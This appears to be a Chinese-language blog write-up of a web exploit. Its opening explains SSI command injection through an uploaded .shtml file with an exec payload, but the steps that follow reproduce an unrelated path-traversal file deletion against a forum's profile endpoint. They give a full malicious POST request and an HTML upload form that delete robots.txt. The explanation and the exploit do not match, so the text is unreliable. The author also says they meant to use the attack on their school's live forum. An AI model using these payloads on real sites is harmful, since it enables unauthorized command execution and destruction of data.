漏洞原理
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->
语法执行任意命令。
漏洞复现
将数据库名字设为db,填写好账号密码即可。
查看robots.txt是否存在
来到设置–>>个人资料
在f12中,找到自己的formhash
接下来,发送以下数据包
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: session=5e94838d-bdd7-48e0-adb9-706f9c98166f; vFyk_2132_saltkey=fM9qkqH4; vFyk_2132_lastvisit=1575848653; vFyk_2132_sid=RIpOip; vFyk_2132_ulastactivity=180aCCXV3Igll98i9ssLYWfGnmzxLGTjL1e2Y2mcNh4Qp%2BoHm355; vFyk_2132_auth=f3c3W5KnYInc1UNuHKRUiNniCMMlS1gCXBZIM3KGlZ16TNV4FinIi602uaQ0vbZLgh7k3efExpXKO16Od77uzQ; vFyk_2132_nofavfid=1; vFyk_2132_noticeTitle=1; vFyk_2132_st_t=13%7C1575852943%7C824ed595afe414d248dd0f049e52e496; vFyk_2132_forum_lastvisit=D_55_1575852320D_49_1575852930D_59_1575852937D_44_1575852943; vFyk_2132_visitedfid=44D59D49D55; vFyk_2132_seccode=7.57cc334c183c430a7a; vFyk_2132_home_diymode=1; vFyk_2132_sendmail=1; vFyk_2132_lastact=1575853314%09home.php%09spacecp; vFyk_2132_ignore_notice=1
Connection: close——WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name=”formhash”0c7233b7
——WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name=”birthprovince”../../../robots.txt
——WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name=”profilesubmit”1
——WebKitFormBoundaryPFvXyxL45f34L12s–
其中的formhash和cookie要改成自己的。
这时我们的脏数据已经进入数据库了 。接下来,写一个html,上传一张正常的图片
<body> <form action="http://192.168.234.147/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=2f77f780" method="post" enctype="multipart/form-data"> <input type="file" name="birthprovince" /> <input type="submit" value="upload" /> </form> </body>
上传正常的图片:
此时再查看robots.txt
文件已被删除,漏洞利用成功。
本来打算利用之前学校论坛实战一下,但是学校论坛做了自动更新,漏洞也就无法利用了,所以一定要做好对网站平日的升级更新与维护。